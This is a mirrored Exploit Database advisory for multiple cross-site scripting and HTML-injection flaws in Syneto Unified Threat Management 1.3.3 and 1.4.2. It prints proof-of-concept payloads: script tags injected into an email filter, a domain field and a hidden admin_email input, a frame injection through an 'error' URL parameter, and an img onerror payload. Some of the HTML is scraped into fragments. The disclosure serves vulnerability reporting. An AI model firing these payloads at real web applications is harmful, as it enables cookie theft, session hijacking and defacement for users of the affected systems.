Syneto Unified Threat Management 1.3.3/1.4.2 – Multiple Cross-Site Scripting / HTML Injection Vulnerabilities

Exploit Database
122 阅读

作者： Alexander Fuchs

日期： 2012-01-20
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/36586/

100

101

102

source: https://www.securityfocus.com/bid/51597/info

Syneto Unified Threat Management is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are possible.

Unified Threat Management 1.4.2 and 1.3.3 Community Edition are vulnerable; other versions may be affected.

Proof of Concept:

=================

The vulnerabilities can be exploited by privileged user accounts, lowviewers or remote attackers with required user inter action.

For demonstration or reproduce ...

1.1.1

[+] Reports - Executive Summery - Output Listing Category

<a href="https://www.exploit-db.com/exploits/36586/#" title="Disable the reporting list" class="disableList"><img src="https://www.exploit-db.com/exploits/36586/img/enabled.gif"

title="disable" alt="disable" class="disable"></a>

</td>

<a href="https://www.exploit-db.com/exploits/36586/#" id="list_1" class="editList"><img src="https://www.exploit-db.com/exploits/36586/img/edit.gif" title="Edit" alt="Edit"

/></a>

<a href="https://www.exploit-db.com/exploits/36586/syneto.php?menuid=307&action=delete&id=1" class="deleteList"><

;img src="https://www.exploit-db.com/exploits/36586/img/delete.gif" title="Delete" alt="Delete" /></a>

</td>

</tr>

</tbody>

</table>

</div>

Reference(s):

https://www.example.com.com/syneto.php?menuid=307

1.1.2

[+] EMail - Filter Add & Configure

<div>Sender = >"<EXECUTION OF PERSISTENT SCRIPT CODE!">.*</div> <div>Receiver = .*</div>

<div>Subject = .*(SPAM|VIAGRA).*</div>

Reference(s):

https://www.example.com.com/syneto.php?menuid=63

1.1.3

[+] EMail Settings - New Domain

<thead>

<tr>

<th class="status">Status</th>

<th class="domain">Domain</th>

<th class="routing">Routing</th>

<th class="verify_sender">Verify sender</th>

<th class="qdm">Send digest</th>

<th class="actions">Actions</th>

</tr>

</thead>

<tbody>

<input name="admin_email" value=""><script>EXECUTION OF PERSISTENT SCRIPt CODE!</script>" type="hidden">

</td>

<td class="domain">"><script>alert(vulnerabilitylab)</script></td>

Reference(s):

https://www.example.com.com/syneto.php?menuid=60

1.2

PoC:

https://www.example.com.com/index.php?error=need_login"'><frame src=http://www.vulnerability-lab.com><hr>&from_menu=238

https://www.example.com.com/index.php?info=%3Cimg%20src=%22%3Cimg%20src=search%22/onerror=alert(%22vulnerabilitylab%22)//%22%3E

Reference(s):

https://www.example.com.com/index.php?error=need_login"'>EXECUTION OF PERSISTENT SCRIPT CODE!<hr>&from_menu=238

https://www.example.com.com/index.php?info=<EXECUTION OF PERSISTENT SCRIPT CODE!>%20%3E